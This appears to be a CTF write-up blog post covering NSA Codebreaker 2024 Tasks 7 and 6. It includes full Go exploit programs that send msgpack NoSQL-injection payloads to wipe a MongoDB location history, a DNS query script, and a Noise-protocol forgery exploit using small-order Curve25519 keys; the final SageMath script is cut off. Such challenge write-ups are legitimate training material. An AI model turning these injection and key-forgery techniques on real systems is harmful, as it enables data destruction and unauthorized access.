[NSA2024] Task 7 – Location (un)compromised – (Vulnerability Research, Exploitation, Reverse Engineering)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

So the DNS server is an encrypted tunnel. The working hypothesis is the firmware modifications leak the GPS location of each JCTV to the APT infrastructure via DNS requests. The GA team has been hard at work reverse engineering the modified firmware and ran an offline simulation to collect the DNS requests.

The server receiving this data is accessible and hosted on a platform Cyber Command can legally target. You remember Faruq graduated from Navy ROTC and is now working at Cyber Command in a Cyber National Mission Team. His team has been authorized to target the server, but they don’t have an exploit that will accomplish the task.

Fortunately, you already have experience finding vulnerabilities and this final Co-op tour is in the NSA Vulnerability Research Center where you work with a team of expert Capabilities Development Specialists. Help NSA find a vulnerability that can be used to lessen the impact of this devastating breach! Don’t let DIRNSA down!

You have TWO outcomes to achieve with your exploit:

  1. All historic GPS coordinates for all JCTVs must be overwritten or removed.
  2. After your exploit completes, the APT cannot store the new location of any hacked JCTVs.

The scope and scale of the operation that was uncovered suggests that all hacked JCTVs have been leaking their locations for some time. Luckily, no new JCTVs should be compromised before the upcoming Cyber Command operation.

Cyber Command has created a custom exploit framework for this operation. You can use the prototype “thrower.py” to test your exploit locally.

Submit an exploit program (the input file for the thrower) that can be used immediately by Cyber Command.

Downloads

prototype exploit thrower (thrower.py)

Prompt

exploit program used by thrower.py

Solution

So I’ll skip the boring forensics part.

Upon inspecting the microservice binary, it seems like it’s a packed binary. Upon further investigation, it seems like it is a Deno application. A deno app is a nodejs wrapped with rust to make it a standalone application. This is evident, based on the last few bytes of the binary, d3n0l4nd.

Based on this discussion, we are somewhat getting the hint that we can extract the core source code of the nodejs application. We also learned some important details on how to extract the source.

import struct

# Define the binary file name
binary_file = 'microservice'  # Replace with your binary file name

# Given data in hex strings
magic_signature_hex = '64 33 6e 30 6c 34 6e 64'
eszip_pos_hex = '00 00 00 00 04 fa ba 30'
metadata_pos_hex = '00 00 00 00 05 00 92 79'
null_pos_hex = '00 00 00 00 05 00 99 1d'
signature_pos_hex = '00 00 00 00 05 01 f4 6e'

# Convert hex strings to bytes
def hex_str_to_bytes(hex_str):
    return bytes.fromhex(hex_str.replace(' ', ''))

magic_signature = hex_str_to_bytes(magic_signature_hex)
eszip_pos_bytes = hex_str_to_bytes(eszip_pos_hex)
metadata_pos_bytes = hex_str_to_bytes(metadata_pos_hex)
null_pos_bytes = hex_str_to_bytes(null_pos_hex)
signature_pos_bytes = hex_str_to_bytes(signature_pos_hex)

# Convert big-endian bytes to integers
def be_bytes_to_int(b):
    return int.from_bytes(b, byteorder='big')

eszip_pos = be_bytes_to_int(eszip_pos_bytes)
metadata_pos = be_bytes_to_int(metadata_pos_bytes)
null_pos = be_bytes_to_int(null_pos_bytes)
signature_pos = be_bytes_to_int(signature_pos_bytes)

# Calculate sizes
eszip_size = metadata_pos - eszip_pos
metadata_size = null_pos - metadata_pos
signature_size = 8  # The magic signature is 8 bytes

print(f"ESZIP position: {eszip_pos}")
print(f"Metadata position: {metadata_pos}")
print(f"Null position: {null_pos}")
print(f"Signature position: {signature_pos}")

print(f"ESZIP size: {eszip_size} bytes")
print(f"Metadata size: {metadata_size} bytes")

# Read the binary file and extract the data
with open(binary_file, 'rb') as f:
    # Extract ESZIP archive
    f.seek(eszip_pos)
    eszip_data = f.read(eszip_size)
    with open('eszip_archive', 'wb') as eszip_file:
        eszip_file.write(eszip_data)
    print("ESZIP archive extracted to 'eszip_archive'.")

    # Extract metadata JSON
    f.seek(metadata_pos)
    metadata_data = f.read(metadata_size)
    with open('metadata.json', 'wb') as metadata_file:
        metadata_file.write(metadata_data)
    print("Metadata extracted to 'metadata.json'.")

    # Extract the magic signature
    f.seek(signature_pos)
    signature_data = f.read(signature_size)
    print(f"Signature data: {signature_data}")

    # Verify the signature
    if signature_data == magic_signature:
        print("Magic signature verified: d3n0l4nd")
    else:
        print("Magic signature does not match.")

    # Optionally, extract the last 40 bytes (footer)
    f.seek(-40, 2)  # 2 means relative to file end
    footer_data = f.read(40)
    with open('binary_footer', 'wb') as footer_file:
        footer_file.write(footer_data)
    print("Binary footer extracted to 'binary_footer'.")

Now, we need to extract the eszip_archive.

We can use this https://github.com/denoland/eszip to extract the archive.

Now we have these beautiful source code. But we still need to parse the huge text file to rebuild the original structure.

import os

def create_files_from_log(log_file):
    with open(log_file, 'r') as f:
        content = f.read()

    # Split the content into entries separated by '==========='
    entries = content.strip().split('===========\n')
    for entry in entries:
        entry = entry.strip()
        if not entry:
            continue  # Skip empty entries

        lines = entry.split('\n')
        if len(lines) < 4:
            print('Error: Incomplete entry detected.')
            continue

        # Parse Specifier
        specifier_line = lines[0]
        if not specifier_line.startswith('Specifier: '):
            print('Error: Specifier not found in entry.')
            continue
        specifier = specifier_line[len('Specifier: '):].strip()

        # Parse Kind
        kind_line = lines[1]
        if not kind_line.startswith('Kind: '):
            print('Error: Kind not found in entry.')
            continue
        kind = kind_line[len('Kind: '):].strip()

        # Find content between '---' separators
        try:
            first_sep_idx = lines.index('---')
            second_sep_idx = lines.index('---', first_sep_idx + 1)
            content_lines = lines[first_sep_idx + 1:second_sep_idx]
            content_text = '\n'.join(content_lines)
        except ValueError:
            print('Error: Content separators not found in entry.')
            continue

        # Process the specifier to create the folder path
        if specifier.startswith('http://') or specifier.startswith('https://'):
            specifier = specifier.split('://', 1)[1]
        path_parts = specifier.strip('/').split('/')
        file_path = os.path.join(*path_parts)

        # Ensure the directory exists
        dir_path = os.path.dirname(file_path)
        if dir_path and not os.path.exists(dir_path):
            os.makedirs(dir_path)

        # Write the content to the file
        with open(file_path, 'w', encoding='utf-8') as f_out:
            f_out.write(content_text)

        print(f'Created file: {file_path}')

# Replace 'log.txt' with the path to your log file
create_files_from_log('eszip_archive.txt')

We should now be able to see a structure looks like these:

However, this is not enough. We still need to localize these. You can see in the source code that there are still Deno reserved keywords, which will not be interpreted properly in raw nodejs application.

After modifications, here what the source looks like: https://github.com/mlesterdampios/nsa_codebreaker_2024/tree/main/solutions/task7/deno_localized

It’s now time to run it locally. Btw, I chose to run the mongo server on windows host. I can’t get the mongo server work on ubuntu and kali vm. Maybe it is because due to some AVX2 opcode that wasn’t allowed to run due to some virtualization settings.

HOORAY! WE MANAGED TO RUN A LOCALIZED VERSION OF THE microservice.

Solution, Part 2

Understanding the application

The application uses 2 collection: the location_events, where new location beacon of hijacked devices has been stored temporarily, and the location_history, where the events has been processed and aggregated.

The application has aggregateLocationEvents() function where it process the location_events and and move the events to location_history.

Our goal is to meet these 2 criteria:

  1. All historic GPS coordinates for all JCTVs must be overwritten or removed.
  2. After your exploit completes, the APT cannot store the new location of any hacked JCTVs.

Lets gather some facts.

  1. It’s a nodejs application and mongodb.
  2. The application uses msgpack-lite communication
  3. There are checks in place to validate the msgpack bytes
assert(buffer[0] == 0x84) // must be object with 4 keys (v, t, d, m);
assert(buffer[1] == 0xA1 && buffer[2] == 0x76) // first key is 'v';
assert(buffer[3] == 0xA8 && buffer[4] == 0x65) // vids are 8 character strings starting with e

Based on the context clues, we need to do NoSQL injection to successfully manipulate the data.

1st Vulnerability: key-value overwrite

The checks validate if the v key exists and matches the expected pattern. But, we can overwrite the v value with malicious one by redeclaring it. The tactic for this to work still needs exact number of object to pass the first check, and since m isn’t checked properly, it can be replaced by malicious v. This information is needed in our second exploit payload.

2nd Vulnerability: No type validation

Improper t checking. No type validation for t, so we can plainly insert malicious value.

The following solutions will be in bytes form. We cannot use the msgpack libraries as we cannot properly build our exploit payload by using them. Here is a definition of msgpack bytes that can help us build the payload from scratch: https://github.com/msgpack/msgpack/blob/master/spec.md

I will explain a little bit more about these payloads later. But for now, here are our exploit payloads.

{
"v": "e0000000",
"t": {"$exists":true},
"d": 0,
"m": 0
}
package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log"
	"net/http"
    "strconv"
)

// Helper function to assert conditions and log failures
func assert(condition bool, message string) {
	if !condition {
		log.Fatalf("Assertion failed: %s", message)
	}
}

func main() {
	var buffer bytes.Buffer

	// 1. Write the map header with 4 key-value pairs
	// 0x84 indicates a map with 4 key-value pairs
	buffer.WriteByte(0x84)

	// 2. Write the first key-value pair: "v": "e0000000"
	// Key: "v"
	buffer.WriteByte(0xA1)         // FixStr with length 1
	buffer.WriteByte(0x76)         // 'v'

	// Value: "e0000000"
	buffer.WriteByte(0xA8)         // FixStr with length 8
	buffer.WriteString("e0000000") // 8-byte string starting with 'e'

	// 3. Write the second key-value pair: t: { $exists: true },
	// Key: "t"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x74) // 't'

	buffer.WriteByte(0x81) // map with 1 element

	buffer.WriteByte(0xA7) // $exists
	buffer.WriteByte(0x24) //
	buffer.WriteByte(0x65) //
	buffer.WriteByte(0x78) //
	buffer.WriteByte(0x69) //
	buffer.WriteByte(0x73) //
	buffer.WriteByte(0x74) //
	buffer.WriteByte(0x73) //

	buffer.WriteByte(0xC3) // true

	// 4. Write the third key-value pair: "d": 0
	// Key: "d"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x64) // 'd'

	buffer.WriteByte(0xd2) // 32 bit signed int32
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //

	// 5. Write the fourth key-value pair: "m": 0
	// Key: "m"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x6d) // 'm'

	buffer.WriteByte(0xd2) // 32 bit signed int32
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //

	// At this point, buffer contains the complete MessagePack data
	serializedData := buffer.Bytes()

	// Display the serialized data in hexadecimal
	fmt.Printf("Serialized MessagePack Data: %x\n", serializedData)

	// Perform Fast Checks
	performFastChecks(serializedData)

    // Set the URL of your server endpoint
    url := "http://localhost:3000/event/insert"

    // Create a new HTTP POST request with the byte array as the body
    req, err := http.NewRequest("POST", url, bytes.NewReader(serializedData))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }

    // Set the Content-Type header to application/msgpack
    req.Header.Set("Content-Type", "application/msgpack")
    req.Header.Set("Content-Length", strconv.Itoa(len(serializedData)))

    // Send the request using the default HTTP client
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    // Check the response status
    if resp.StatusCode == http.StatusOK {
        fmt.Println("Malicious event inserted successfully")
    } else {
        fmt.Printf("Error inserting event: %s\n", resp.Status)
    }
}

// performFastChecks performs the specified fast checks on the serialized data
func performFastChecks(data []byte) {
	// Ensure the data has at least 5 bytes for the initial checks
	if len(data) < 5 {
		log.Fatalf("Serialized data is too short: %x", data)
	}

	// Check 1: First byte should be 0x84 (Map with 4 key-value pairs)
	assert(data[0] == 0x84, "First byte check failed: expected 0x84 for a map with 4 key-value pairs")

	fmt.Println("First byte check passed: 0x84")

	// Check 2: First key is 'v' (0xA1 0x76)
	assert(data[1] == 0xA1 && data[2] == 0x76, "First key is not 'v'")

	fmt.Println("First key check passed: 'v'")

	// Check 3: First value (for 'v') is an 8-character string starting with 'e' (0xA8 0x65)
	assert(data[3] == 0xA8 && data[4] == 0x65, "VID check failed: expected an 8-character string starting with 'e'")

	fmt.Println("VID check passed: 8-character string starting with 'e'")

	// Additional checks can be added here as needed
}
{
"v": "e0000000",
"t": "z",
"d": 0,
"v": {"$exists":true}
}
package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log"
	"net/http"
    "strconv"
)

// Helper function to assert conditions and log failures
func assert(condition bool, message string) {
	if !condition {
		log.Fatalf("Assertion failed: %s", message)
	}
}

func main() {
	var buffer bytes.Buffer

	// 1. Write the map header with 4 key-value pairs
	// 0x84 indicates a map with 4 key-value pairs
	buffer.WriteByte(0x84)

	// 2. Write the first key-value pair: "v": "e0000000"
	// Key: "v"
	buffer.WriteByte(0xA1)         // FixStr with length 1
	buffer.WriteByte(0x76)         // 'v'

	// Value: "e0000000"
	buffer.WriteByte(0xA8)         // FixStr with length 8
	buffer.WriteString("e0000000") // 8-byte string starting with 'e'

	// 3. Write the second key-value pair: t: v
	// Key: "t"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x74) // 't'

	buffer.WriteByte(0xA1)
	buffer.WriteByte(0x7a) // 'z'

	// 4. Write the third key-value pair: "d": 0
	// Key: "d"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x64) // 'd'

	buffer.WriteByte(0xd2) // 32 bit signed int32
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //

	// 5. Write the fourth key-value pair: v: { $exists: true }
	// Key: "v" (duplicate)
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x76) // 'v'

	buffer.WriteByte(0x81) // map with 1 element

	buffer.WriteByte(0xA7) // $exists
	buffer.WriteByte(0x24) //
	buffer.WriteByte(0x65) //
	buffer.WriteByte(0x78) //
	buffer.WriteByte(0x69) //
	buffer.WriteByte(0x73) //
	buffer.WriteByte(0x74) //
	buffer.WriteByte(0x73) //

	buffer.WriteByte(0xC3) // true

	// At this point, buffer contains the complete MessagePack data
	serializedData := buffer.Bytes()

	// Display the serialized data in hexadecimal
	fmt.Printf("Serialized MessagePack Data: %x\n", serializedData)

	// Perform Fast Checks
	performFastChecks(serializedData)

    // Set the URL of your server endpoint
    url := "http://localhost:3000/event/insert"

    // Create a new HTTP POST request with the byte array as the body
    req, err := http.NewRequest("POST", url, bytes.NewReader(serializedData))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }

    // Set the Content-Type header to application/msgpack
    req.Header.Set("Content-Type", "application/msgpack")
    req.Header.Set("Content-Length", strconv.Itoa(len(serializedData)))

    // Send the request using the default HTTP client
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    // Check the response status
    if resp.StatusCode == http.StatusOK {
        fmt.Println("Malicious event inserted successfully")
    } else {
        fmt.Printf("Error inserting event: %s\n", resp.Status)
    }
}

// performFastChecks performs the specified fast checks on the serialized data
func performFastChecks(data []byte) {
	// Ensure the data has at least 5 bytes for the initial checks
	if len(data) < 5 {
		log.Fatalf("Serialized data is too short: %x", data)
	}

	// Check 1: First byte should be 0x84 (Map with 4 key-value pairs)
	assert(data[0] == 0x84, "First byte check failed: expected 0x84 for a map with 4 key-value pairs")

	fmt.Println("First byte check passed: 0x84")

	// Check 2: First key is 'v' (0xA1 0x76)
	assert(data[1] == 0xA1 && data[2] == 0x76, "First key is not 'v'")

	fmt.Println("First key check passed: 'v'")

	// Check 3: First value (for 'v') is an 8-character string starting with 'e' (0xA8 0x65)
	assert(data[3] == 0xA8 && data[4] == 0x65, "VID check failed: expected an 8-character string starting with 'e'")

	fmt.Println("VID check passed: 8-character string starting with 'e'")

	// Additional checks can be added here as needed
}

Here’s the step by step process and explanation and what happens with the application.

Upon starting, here’s what we should see.

There are also mock data that I had set so we can check if our exploits work.

We now send our 1st payload.

We can now see, our payload is on location_events

Wait a few minutes, when the aggregateLocationEvents() happened, it will move the data to location_history.

Since e0000000 isn’t yet existing in the location_history then it just stores our payload as shown above.

Next, we now deliver the 2nd payload.

After waiting again for aggregateLocationEvents(), it will now overwrite all existing data in the location_history.

The first last_history_selector contains the vid payload from the 2nd payload. Therefore, it will select all available history in the location_history collection, sorted by endtime and getting the first result. The result is the previously inserted payload, the 1st payload. Therefore, since we got the previous payload, the endtime will also be influenced. Hence, the criteria for the bulk.find(last_history_selector) looks like this:

{
"vid": {"$exists": true},
"endtime": {"$exists": true}
}

It will update all document in the collection that has a property of vid and endtime regardless of the types, as long as the keys exists.

Therefore, we now meet the first objective: All historic GPS coordinates for all JCTVs must be overwritten or removed.

But what about the second? Remember that in 2nd payload, we set the t to z value. In javascript, there is a weird behavior that when you compare the timestamp to a string, it will always be false.

Therefore, in this line, it will always be evaluated to false. Future events won’t be saved to location_history.

Thus, meeting the 2 goals!

Verification

So now, we want to test proper workflow. We start the binaries as needed.

We also have a modification of the dns_builder from Task 6. We need 2 of it for the two exploits.
https://raw.githubusercontent.com/mlesterdampios/nsa_codebreaker_2024/refs/heads/main/solutions/task7/exploit_sender1.go
https://raw.githubusercontent.com/mlesterdampios/nsa_codebreaker_2024/refs/heads/main/solutions/task7/exploit_sender2.go

The answer box for Task 7, requires a program for thrower.py that was attached in the Downloads section. Basically, its just an automation tool with compute budget.

We won’t dive into it, but here’s a sample answer for the Task 7. which can be executed by thrower.py

sleep 10000
resolve "x0000000000000000000000000000000000000000000000000208sv9747koru.x0u3ehm9ed00ah2i0tgsmj2s6afbc03u258kgb4p7lbnepba81kvf9go1okp46u.xdtnh2b2go5b3cczzzzzzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.net-jl7s7rd2"
sleep 350000
resolve "x0000000000000000000000000000000000000000000000000208sv9747koru.x0u3ehm9ed00a1f91lh9v7lqr9s77btkvcco5n2aj5i39os118uq0ml50sn7s23.x3l2ql6d94zzzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.net-jl7s7rd2"
sleep 350000

Epilogue

As a student of the SANS Technology Institute, I stand in awe of the National Security Agency’s unparalleled ability to craft challenges that redefine the limits of cybersecurity expertise. The culmination of the NSA Codebreaker 2024—a grueling 90-day competition marked by sleepless nights, relentless problem-solving, and moments of hard-wonе clarity—has left me with profound gratitude and a renewed sense of purpose. To the NSA, thank you for designing a competition that doesn’t just simulate real-world threats but embodies them, demanding not just technical skill but ingenuity, adaptability, and unyielding perseverance. To finish among the few who conquer this gauntlet is a privilege I will never take for granted.

This year’s challenges were a testament to the NSA’s mastery of adversarial thinking. The competition honed my reverse-engineering skills to a razor’s edge, requiring me to dissect intricate binaries, decode obfuscated algorithms, and uncover vulnerabilities buried deep within systems designed to defy analysis. Tasks often blurred the line between offense and defense: decrypting custom protocols, analyzing stealthy network behaviors, and reconstructing fragmented data streams to expose hidden payloads. While Go programming surfaced in critical moments—such as interpreting language-specific quirks in compiled binaries or optimizing solutions for concurrency-heavy problems—the broader focus was on versatility. I learned to pivot between tools, languages, and methodologies, reinforcing that cybersecurity is less about mastery of a single domain and more about the agility to thrive in ambiguity.

As a SANS student, I carried forward the institute’s ethos of rigorous, hands-on learning. The competition’s challenges mirrored the real-world scenarios SANS prepares us for, and I leaned heavily on the foundational skills cultivated through my coursework. Yet, Codebreaker 2024 pushed me further, demanding creative applications of those principles under time constraints and pressure. The synergy between my academic training and NSA’s cutting-edge challenges was transformative, bridging theory and practice in ways I could never have anticipated.

Completing the final task felt like solving a grand puzzle where every piece represented months of accumulated knowledge. The competition didn’t just test my abilities—it reshaped my mindset. I now approach problems with a forensic patience, a hacker’s curiosity, and the confidence to trust my instincts even when the path isn’t clear.

To future participants: Embrace the chaos. The NSA’s challenges will push you to your limits, but the resilience you gain is eternal. And to the National Security Agency—thank you for creating a proving ground that doesn’t just identify talent but forges warriors of cybersecurity. This experience has redefined what I believe I’m capable of, and I will carry its lessons into every challenge ahead.

To the Codebreakers—past, present, and future—the journey is arduous, but the reward is a version of yourself you never knew existed. And to SANS Technology Institute, thank you for equipping me with the tools to rise to this moment. The sleepless nights? A small price for the pride of saying, “I finished.”

Here’s to the next mission. 🚩

[NSA2024] Task 6 – It’s always DNS – (Reverse Engineering, Cryptography, Vulnerability Research, Exploitation)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

The recovered data indicates the APT is using a DNS server as a part of their operation. The triage team easily got the server running but it seems to reply to every request with errors.

You decide to review past SIGINT reporting on the APT. Why might the APT be targeting the Guardian Armaments JCTV firmware developers? Reporting suggests the APT has a history of procuring information including the location and movement of military personnel.

Just then, your boss forwards you the latest status update from Barry at GA. They found code modifications which suggest additional DNS packets are being sent via the satellite modem. Those packets probably have location data encoded in them and would be sent to the APT.

This has serious implications for national security! GA is already working on a patch for the firmware, but the infected version has been deployed for months on many vehicles.

The Director of the NSA (DIRNSA) will have to brief the President on an issue this important. DIRNSA will want options for how we can mitigate the damage.

If you can figure out how the DNS server really works maybe we will have a chance of disrupting the operation.

Find an example of a domain name (ie. foo.example.com.) that the DNS server will handle and respond with NOERROR and at least 1 answer.

Prompt

Enter a domain name which results in a NOERROR response. It should end with a ‘.’ (period)

Solution

So basically, we start from where we left off at task 5. We recovered 3 files from task 5.

I skip most of the boring forensics part, and I will just go straightforward explaining things.

We will also ignore microservice for now as it will be the focus on Task 7.

Based from the decomplication and context clues, the coredns is built from this project: https://github.com/coredns/coredns

Basically, coredns is a lightweight dns server where you can customize and build features on top of it.

We also saw contents of Corefile

.:1053 {
  acl {
    allow type A
    filter
  }
  view firewall {
    expr type() == 'A' && name() matches '^x[^.]{62}\\.x[^.]{62}\\.x[^.]{62}\\.net-jl7s7rd2\\.example\\.com\\.$'
  }
  log
  cache 3600
  errors
  frontend
}

Again, based on context clues, this somehow indicates that this is a communication / exfiltration server over DNS.

I want to thank IDA as it is really great in function naming.

Further research somehow suggest that this might be NOISE PROTOCOL based on function names.
However, I am struggling to find the specific pattern of this protocol until I saw this…

Noise_K_25519_ChaChaPoly_BLAKE2s

During my research, I was able to find this: https://noiseexplorer.com/patterns/K/. Suddenly, we are able to see a clear source code which the binary was probably built from.

Upon digging more in the binary, we are able to learn that there are hard coded keys.

In the initializeResponder, we setup breakpoint in the 2nd mixHash call so we can check the passed arguments, which we can find the initiator’s public key.

And the 3rd mixHash will contain the public key and the private key of responder.

This one is the responder private key:

var responderPrivateKey = [32]byte{
	0xD3, 0xDA, 0x9E, 0x41, 0xB9, 
	0x75, 0x55, 0x35, 0xAE, 0x62, 
	0x12, 0x37, 0xEC, 0x7C, 0x2B, 
	0x77, 0x0D, 0xA0, 0x4A, 0x83, 
	0x4A, 0xE6, 0x59, 0xF5, 0x80, 
	0xB0, 0x99, 0x3B, 0x2C, 0xB1, 
	0x69, 0xDD,
}

This one is the initiator public key:

var initiatorPublicKey = [32]byte{
	0xB6, 0xB0, 0x1E, 0x07, 0xB1, 
	0xD4, 0xB1, 0x1E, 0x71, 0xA6, 
	0x37, 0x6C, 0xE5, 0xEA, 0x49, 
	0x55, 0xFF, 0x70, 0x3D, 0xF0, 
	0xFE, 0x9E, 0xC4, 0xB7, 0x3E, 
	0xDB, 0xB4, 0xA0, 0xE2, 0x64, 
	0x46, 0x09,
}

So, what’s with the Noise K, initiator, and responder?
Basically, K is a pattern that is a one way.
Initiator is the one who will create a message, and responder (server) is the receiver.
But in our case, the server, do not directly communicate back with the initiator.

Based on the context clues, the compromised devices that beacon to this server do have their own private and public key. We can see in the server’s binary that it expects from specific public key.
The compromised devices also have the server’s public key in them to successfully craft a valid message.

So to recap:

  1. We got the server’s (responder) private key and based from that, we can deduce the public key.
  2. We also got the client’s (initiator) public key but no private key.

Idea#1

Bruteforce the 128-bit private key.
I did made CUDA bruteforcer, but based on projection, it will take another universe’ big bag before it finish as I do not have quantum computer in my closet.

Idea#2

Maybe the private key was baked in the binary and/or previous binaries provided.
nah.

So what?

Okay, so I’ve totally run out of ideas. I was examining the noise source code, and something really catches my attention. It is the forbiddenCurveValues.

I spent a lot of time researching what the heck are the weakness of the curves, specifically, 25519.

Until I found out this: https://www.iacr.org/archive/ches2011/69170143/69170143.pdf
And this: https://hacken.io/insights/secure-ecdh/
I won’t pretend that I fully understand all of text written in those researches.
But basically, we will be using small-order public key to carry out the attack. The small-order public key’s could reveal predictable results and possibly reconstruct the keys.

Here is the snippet of the exploit process.

/* ---------------------------------------------------------------- *
 * EXPLOIT IMPLEMENTATION                                           *
 * ---------------------------------------------------------------- */

func main() {
	// Known prologue (assuming empty for this example)
	prologue := []byte{}

	// Responder's public key (computed from private key)
	var responderPublicKey [32]byte
	curve25519.ScalarBaseMult(&responderPublicKey, &responderPrivateKey)
	responderPrivateKeyHex := hex.EncodeToString(responderPrivateKey[:])
	fmt.Println("responderPrivateKey (hex):", responderPrivateKeyHex, "\n")
	responderPublicKeyHex := hex.EncodeToString(responderPublicKey[:])
	fmt.Println("responderPublicKey (hex):", responderPublicKeyHex, "\n")

	initiatorPublicKeyHex := hex.EncodeToString(initiatorPublicKey[:])
	fmt.Println("initiatorPublicKey (hex):", initiatorPublicKeyHex, "\n")

	// Initialize symmetric state as responder
	name := []byte("Noise_K_25519_ChaChaPoly_BLAKE2s")
	ss := initializeSymmetric(name)
	mixHash(&ss, prologue)
	mixHash(&ss, initiatorPublicKey[:])
	mixHash(&ss, responderPublicKey[:])

	// Simulate responder's processing of the message

	// hs.re is the small order point we send
	hsRe := smallOrderPublicKey

	hsReHex := hex.EncodeToString(hsRe[:])
	fmt.Println("hsRe (hex):", hsReHex, "\n")

	mixHash(&ss, hsRe[:])

	// Compute dh(hs.s.privateKey, hs.re)
	dh1 := dh(responderPrivateKey, hsRe)

	dh1Hex := hex.EncodeToString(dh1[:])
	fmt.Println("dh1 (hex):", dh1Hex, "\n")

	// MixKey with dh1
	mixKey(&ss, dh1)

	// Compute dh(hs.s.privateKey, hs.rs)
	dh2 := dh(responderPrivateKey, initiatorPublicKey)

	responderPrivateKeyHex2 := hex.EncodeToString(responderPrivateKey[:])
	fmt.Println("responderPrivateKey (hex):", responderPrivateKeyHex2, "\n")

	initiatorPublicKeyHex2 := hex.EncodeToString(initiatorPublicKey[:])
	fmt.Println("initiatorPublicKey (hex):", initiatorPublicKeyHex2, "\n")

	dh2Hex := hex.EncodeToString(dh2[:])
	fmt.Println("dh2 (hex):", dh2Hex, "\n")

	// MixKey with dh2
	mixKey(&ss, dh2)

	// At this point, ss.ck and ss.cs.k contain the chain key and cipher key the responder will use

	// Now, as the attacker (initiator), we can compute the same keys

	// Initialize symmetric state as initiator
	initSS := initializeSymmetric(name)
	mixHash(&initSS, prologue)
	mixHash(&initSS, initiatorPublicKey[:])
	mixHash(&initSS, responderPublicKey[:])

	// We use the same hs.e.publicKey (small order point)
	hsEPublicKey := smallOrderPublicKey
	mixHash(&initSS, hsEPublicKey[:])

	// Since we don't have the initiator's private key, but we can set it to zero
	var zeroPrivateKey [32]byte

	// Compute dh(hs.e.privateKey, hs.rs) with zero private key
	dh1Initiator := dh(zeroPrivateKey, responderPublicKey)
	mixKey(&initSS, dh1Initiator)

	// Compute dh(hs.s.privateKey, hs.rs) with zero private key
	dh2Initiator := dh(zeroPrivateKey, responderPublicKey)
	mixKey(&initSS, dh2Initiator)

	// Now, initSS.ck and initSS.cs.k are the keys the initiator would have
	// However, since we used zero private keys, the dh outputs are zeros
	// But we know the responder's keys from earlier, so we can use those

	// For the exploit, we'll use the responder's ss.ck and ss.cs.k to encrypt the payload
	payload := []byte("Secret message from initiator")

	// Encrypt the payload using the responder's cipher key and handshake hash
	ciphertext := encrypt(ss.cs.k, ss.cs.n, ss.h[:], payload)
	ss.cs.n = incrementNonce(ss.cs.n)

	// Prepare the message buffer to send to the responder
	message := messagebuffer{
		ne:         smallOrderPublicKey, // Our crafted ephemeral public key
		ns:         []byte{},            // No static key sent
		ciphertext: ciphertext,
	}

	// The responder will process the message using their state
	// For demonstration, we can show that the responder can decrypt the message

	// Responder decrypts the ciphertext
	valid, _, decryptedPayload := decrypt(ss.cs.k, ss.cs.n-1, ss.h[:], message.ciphertext)
	if valid {
		fmt.Println("Responder decrypted the message successfully:")
		fmt.Println(string(decryptedPayload))
	} else {
		fmt.Println("Responder failed to decrypt the message.")
	}

	responderSession := InitSession(false, prologue, keypair{responderPublicKey, responderPrivateKey}, initiatorPublicKey)

	_, plaintext, valid, err := RecvMessage(&responderSession, &message)
	if err != nil {
		panic(err)
	}
	if !valid {
		panic("Decryption failed!")
	}

	// Output the decrypted message
	fmt.Printf("Responder decrypted message: %s\n", string(plaintext))

	encode_msg(message)
}

Full Solution

dns_builder.go

Based on the prompt, we just need to submit a valid domain that will be successfully decrypted by the server (responder).

We can submit this example:

x0000000000000000000000000000000000000000000000000205JE9IVFKSJQ.x239RG2FQ362C1UGLDQU3NJ80QLTJ43LBM7QRCO6J98G6IGC2K3SH1FQHNBLJFG.xzzzzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.net-jl7s7rd2.example.com

Upon further investigation, we can confirm that after successful decoding of data, it forwards to port 3000 with http protocol. However, payload structure is not yet known and will be the focus for Task 7.

Bonus#1

How did I know that the initial encoding is base32 with 0-9A-V?

Put a breakpoint at name2buffer DecodeString function.

Basically, name2buffer contain statements that we used in ProcessAndDig and encode_msg function on our script.

Bonus#2

Here is a sagemath script to generate low order point for x-coordinate. In theory, few of public keys here that are not included on forbiddenCurveValues should work for the exploit.

p = 2^255 - 19
F = GF(p)
E = EllipticCurve(F, [0, 486662, 0, 1, 0])  # Curve25519

def find_small_order_x_coordinates(d):
    try:
        psi_d = E.division_polynomial(d)
        return [Integer(root) for root in psi_d.roots(multiplicities=False)]
    except:
        return []

orders = [2, 4, 8]
small_order_x = set()

# Collect x-coordinates from division polynomials
for d in orders:
